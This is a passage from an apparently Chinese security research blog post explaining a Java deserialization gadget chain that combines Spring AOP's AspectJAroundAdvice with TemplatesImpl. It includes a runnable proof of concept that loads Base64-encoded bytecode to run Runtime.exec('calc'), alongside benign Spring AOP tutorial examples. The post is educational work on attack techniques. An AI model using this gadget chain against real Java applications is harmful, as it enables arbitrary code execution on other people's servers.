Reflections.setFieldValue(aspectJAroundAdvice,"aspectInstanceFactory",singletonAspectInstanceFactory);
Reflections.setFieldValue(aspectJAroundAdvice,"declaringClass", TemplatesImpl.class);
Reflections.setFieldValue(aspectJAroundAdvice,"methodName", "newTransformer");
Reflections.setFieldValue(aspectJAroundAdvice,"parameterTypes", new Class[0]);
// Method targetMethod = Reflections.getMethod(TemplatesImpl.class,"newTransformer",new Class[0]);
// Reflections.setFieldValue(aspectJAroundAdvice,"aspectJAdviceMethod",targetMethod);

AspectJExpressionPointcut aspectJExpressionPointcut = new AspectJExpressionPointcut();
Reflections.setFieldValue(aspectJAroundAdvice,"pointcut",aspectJExpressionPointcut);
Reflections.setFieldValue(aspectJAroundAdvice,"joinPointArgumentIndex",-1);
Reflections.setFieldValue(aspectJAroundAdvice,"joinPointStaticPartArgumentIndex",-1);
return aspectJAroundAdvice;
}

}

https://www.cnblogs.com/CVE-Lemon/p/18402114

简单讲一下TemplatesImplNode。详细可以看上面的文章讲的很好了

1
2
3
4
TemplatesImpl#newTransformer() -->                        public
TemplatesImpl#getTransletInstance() --> private
TemplatesImpl#defineTransletClasses() --> private
TransletClassLoader#defineClass() default

核心通过defineClass加载恶意的字节码实现危害也就是任意代码的执行。

直接看完整的poc也是很好理解的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.util.Base64;

public class LearnTemplatesImpl {
public static void main(String[] args) throws Exception {
byte[] bytecode = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABtMZWFyblRlbXBsYXRlSW1wbEJ5dGVzLmphdmEMAA4ADwcAHAwAHQAeAQAEY2FsYwwAHwAgAQAWTGVhcm5UZW1wbGF0ZUltcGxCeXRlcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEwAEABQADQAVAAsAAAAEAAEAEAABABEAAAACABI=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "随便");
setFieldValue(templates, "_bytecodes", new byte[][]{bytecode});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}

static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
}

接下来看aspectJAroundAdvice这段代码

下面这段请仔细看注解。写好了详细的意思。如果不懂什么是切点表达式可以搜一下aspectJAroundAdvice的常见用法和简单案例就可以看懂。我也备好了。在下面的简单案例2和简单案例3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
AspectJAroundAdvice aspectJAroundAdvice = Reflections.newInstanceWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(aspectJAroundAdvice,"aspectInstanceFactory",singletonAspectInstanceFactory);
Reflections.setFieldValue(aspectJAroundAdvice,"declaringClass", TemplatesImpl.class);
Reflections.setFieldValue(aspectJAroundAdvice,"methodName", "newTransformer");
Reflections.setFieldValue(aspectJAroundAdvice,"parameterTypes", new Class[0]);
//上面这段代码解释:
创建一个单例切面工厂,将切面实例绑定到 templatesImpl
当 Spring AOP 执行切面逻辑时,会通过 SingletonAspectInstanceFactory.getAspectInstance() 获取切面实例。
由于工厂绑定的是 templatesImpl,因此实际返回的切面实例就是 templatesImpl。
绕过构造函数直接实例化 AspectJAroundAdvice 对象(避免依赖注入校验)
指定拦截方法为 newTransformer(关键触发点)
AspectJExpressionPointcut aspectJExpressionPointcut = new AspectJExpressionPointcut();
Reflections.setFieldValue(aspectJAroundAdvice,"pointcut",aspectJExpressionPointcut);
Reflections.setFieldValue(aspectJAroundAdvice,"joinPointArgumentIndex",-1);
Reflections.setFieldValue(aspectJAroundAdvice,"joinPointStaticPartArgumentIndex",-1);
return aspectJAroundAdvice;
//上面这段代码解释:
设置方法参数类型为空(匹配无参方法)
未设置切点表达式(如 execution(...)),导致默认匹配所有方法。
避免处理 JoinPoint 参数,简化攻击逻辑,防止因参数不匹配导致异常。

所以通过未设置切点表达式导致默认匹配所有方法。当任意一个方法被调用的时候就会被拦截并且转到切面实例里的指定的newTransformer拦截方法

然后实现上面所说的利用链

1
2
3
4
TemplatesImpl#newTransformer() -->                        public
TemplatesImpl#getTransletInstance() --> private
TemplatesImpl#defineTransletClasses() --> private
TransletClassLoader#defineClass() default

简单案例1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

// 1. 定义业务接口
interface BusinessService {
void executeTask();
}

// 2. 业务实现类
class BusinessServiceImpl implements BusinessService {
@Override
public void executeTask() {
System.out.println("Business logic is executed.");
}
}

// 3. 定义拦截器(InvocationHandler)
class LoggingInterceptor implements InvocationHandler {
private Object target;

public LoggingInterceptor(Object target) {
this.target = target;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
// 在方法调用之前做一些额外的事情(例如打印日志)
System.out.println("Method " + method.getName() + " is about to be called.");

// 调用实际的业务方法
Object result = method.invoke(target, args);

// 在方法调用之后做一些额外的事情(例如打印日志)
System.out.println("Method " + method.getName() + " has been called.");

return result;
}
}

// 4. 测试代理
public class ProxyExample {
public static void main(String[] args) {
// 目标对象
BusinessService businessService = new BusinessServiceImpl();

// 创建一个代理对象
BusinessService proxyInstance = (BusinessService) Proxy.newProxyInstance(
BusinessService.class.getClassLoader(),
new Class<?>[]{BusinessService.class},
new LoggingInterceptor(businessService) // 拦截器
);

// 调用代理对象的方法,拦截器会拦截并打印日志
proxyInstance.executeTask();
}
}

简单案例2:

下面给出一个简单的例子,展示如何使用 Spring AOP 定义一个切面,从而在目标方法执行前后插入额外逻辑(例如日志记录)。

  1. 定义目标类
1
2
3
4
5
6
7
8
9
public class UserService {
public void createUser(String username) {
System.out.println("UserService: 正在创建用户 " + username);
}

public void deleteUser(String username) {
System.out.println("UserService: 正在删除用户 " + username);
}
}
  1. 定义切面类

在这个切面中,我们用 Spring AOP 的注解定义前置通知和后置通知。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Before;
import org.aspectj.lang.annotation.After;
import org.aspectj.lang.JoinPoint;
import org.springframework.stereotype.Component;
@Aspect // 表示这个类是一个切面
@Component // 让 Spring 容器管理它
public class LoggingAspect {
// 前置通知:在 UserService.createUser() 方法执行前调用
@Before("execution(* UserService.createUser(..))")
public void beforeCreateUser(JoinPoint joinPoint) {
System.out.println("LoggingAspect: 在调用 " + joinPoint.getSignature().getName() + " 方法前记录日志。");
}
// 后置通知:在 UserService.createUser() 方法执行后调用
@After("execution(* UserService.createUser(..))")
public void afterCreateUser(JoinPoint joinPoint) {
System.out.println("LoggingAspect: 在调用 " + joinPoint.getSignature().getName() + " 方法后记录日志。");
}
}
  • @Aspect:声明该类为切面类。
  • @Component:让 Spring 自动扫描并管理这个切面对象。
  • @Before(“execution( UserService.createUser(..))”)*:定义切点表达式,表示对 UserService 类中 createUser 方法的调用,在执行前调用 beforeCreateUser 方法。
  • @After(“execution( UserService.createUser(..))”)*:类似地,表示在 createUser 方法执行后调用 afterCreateUser 方法。
  1. 配置 Spring 使 AOP 生效

在 Spring 配置中,需要启用 AOP 支持。例如,如果使用基于注解的配置,可以在配置类上添加 @EnableAspectJAutoProxy 注解:

1
2
3
4
5
6
7
8
import org.springframework.context.annotation.ComponentScan;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.EnableAspectJAutoProxy;
@Configuration
@EnableAspectJAutoProxy // 启用 AOP 支持
@ComponentScan(basePackages = "com.example") // 假设所有类都在 com.example 包下
public class AppConfig {
}
  1. 测试切面效果

编写一个测试程序,通过 Spring 容器获取目标对象,并调用方法。

1
2
3
4
5
6
7
8
9
10
11
12
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
public class AopTest {
public static void main(String[] args) {
ApplicationContext context = new AnnotationConfigApplicationContext(AppConfig.class);
UserService userService = context.getBean(UserService.class);

// 仅对 createUser 方法设置了切面
userService.createUser("Alice");
userService.deleteUser("Alice");
}
}

预期输出:

1
2
3
4
LoggingAspect: 在调用 createUser 方法前记录日志。
UserService: 正在创建用户 Alice
LoggingAspect: 在调用 createUser 方法后记录日志。
UserService: 正在删除用户 Alice

注意:由于切面中只定义了对 createUser 方法的前置和后置通知,调用 deleteUser 时不会有日志记录。

总结

  • 切面(Aspect):通过 @Aspect 注解定义,封装了横切关注点(例如日志记录)。
  • 通知(Advice):切面内的方法,如 beforeCreateUserafterCreateUser,分别在目标方法执行前后被调用。
  • 切点(Pointcut):通过注解表达式(如 execution(* UserService.createUser(..)))指定在哪些方法上应用这些通知。

这个例子展示了如何用 Spring AOP 的注解方式定义一个切面,从而在目标方法调用前后插入日志记录逻辑。

简单案例3:

下面通过一个简单的示例来解释 AspectJAroundAdvice 和 AspectJExpressionPointcut 的含义和用途。

背景介绍

在 Spring AOP 中:

  • AspectJAroundAdvice 是基于 AspectJ 的环绕通知实现。 它包装了一个“切面方法”(比如某个切面类中的环绕通知方法),当目标方法被调用时,AspectJAroundAdvice 会调用这个切面方法,从而在目标方法调用前后插入你定义的逻辑。
  • AspectJExpressionPointcut 则是用来定义切点的,它采用 AspectJ 表达式语言来描述在哪些方法调用上应用通知。 例如,表达式 execution(* com.example.MyService.doWork(..)) 就表示匹配 MyService 类中所有名为 doWork 的方法调用。

示例说明

假设我们有如下场景:

  • 有一个业务类 MyService,它有一个方法 doWork()
  • 我们希望在调用 doWork() 前后插入日志记录。
  1. 定义目标类
1
2
3
4
5
public class MyService {
public void doWork() {
System.out.println("MyService: 正在执行 doWork 方法...");
}
}
  1. 定义切面类

我们定义一个切面类 MyAspect,其中包含一个环绕通知方法。 这个方法在执行前后分别输出日志,并最终调用目标方法(使用 pjp.proceed())。

1
2
3
4
5
6
7
8
public class MyAspect {
public Object around(ProceedingJoinPoint pjp) throws Throwable {
System.out.println("MyAspect: 方法执行前");
Object retVal = pjp.proceed(); // 调用目标方法
System.out.println("MyAspect: 方法执行后");
return retVal;
}
}

在这个例子中:

  • around 方法就是我们想要在目标方法调用前后执行的增强逻辑。
  • 这就是实际的“通知”(Advice)。
  1. 使用 AspectJAroundAdvice 将切面方法包装成 Advice

在 Spring AOP 内部,可以使用 AspectJAroundAdvice 将切面方法封装为一个 Advice 对象。

这一步通常由 AOP 框架自动完成,但我们可以理解为:

  • AspectJAroundAdvice 持有了 MyAspect.around 这个方法,以及如何获取 MyAspect 实例的工厂。
  • 当目标方法匹配切点时,框架会调用 AspectJAroundAdvice,进而调用 MyAspect.around

例如,内部可能类似这样:

1
2
3
// (伪代码示意)
Method aspectMethod = MyAspect.class.getMethod("around", ProceedingJoinPoint.class);
AspectJAroundAdvice advice = new AspectJAroundAdvice(aspectMethod, new SingletonAspectInstanceFactory(new MyAspect()));

这里,SingletonAspectInstanceFactory 用来返回同一个 MyAspect 实例。

  1. 使用 AspectJExpressionPointcut 定义切点

切点负责决定在哪些方法上应用上面的 Advice。

例如,我们可以用如下 AspectJ 表达式:

1
2
AspectJExpressionPointcut pointcut = new AspectJExpressionPointcut();
pointcut.setExpression("execution(* MyService.doWork(..))");
  • 这个表达式匹配 MyService 类中所有名为 doWork 的方法。
  1. 结合 Advisor

Advisor 会将 Advice 和切点组合在一起,告诉代理: “当匹配到 MyService.doWork(..) 时,就应用这个环绕通知逻辑。” 例如,可以构造:

1
2
// 将上面封装好的 AspectJAroundAdvice 与切点结合,构成一个 Advisor
DefaultPointcutAdvisor advisor = new DefaultPointcutAdvisor(pointcut, advice);

(这里的 advisor 在实际使用中会被加入到 AdvisedSupport 中)

  1. 应用代理

在最终的代理对象中,当调用 MyService.doWork() 时,Spring AOP 框架:

  • 先检查 Advisor 列表,发现 advisor 的切点匹配该方法,
  • 然后通过 AspectJAroundAdvice 触发环绕通知,调用 MyAspect.around 方法,
  • 这就实现在方法执行前后输出日志,然后调用目标方法。

总结

  • AspectJAroundAdvice: 用于封装一个环绕通知方法(比如 MyAspect.around),它告诉框架在目标方法调用前后执行哪些逻辑。 它是一个实现了 MethodInterceptor 接口的 Advice。
  • AspectJExpressionPointcut: 用来定义切点,采用 AspectJ 表达式指定哪些方法调用需要被拦截。 例如 "execution(* MyService.doWork(..))" 就匹配 MyService.doWork() 方法。
  • 两者如何协同工作: Advisor 将 Advice(AspectJAroundAdvice)和切点(AspectJExpressionPointcut)绑定在一起,告诉代理对象“对符合切点的方法,应用这个 Advice”。 当代理对象调用目标方法时,符合切点的方法会被拦截,进入 Advice(环绕通知)逻辑,从而在目标方法执行前后执行自定义逻辑。

这个例子展示了如何利用 AspectJAroundAdvice 和 AspectJExpressionPointcut 实现一个简单的切面,来在目标方法执行前后输出日志,从而帮助你理解它们的作用和使用场景。

笔者:han

博客:http://hanblog.top

若有错误欢迎大佬指出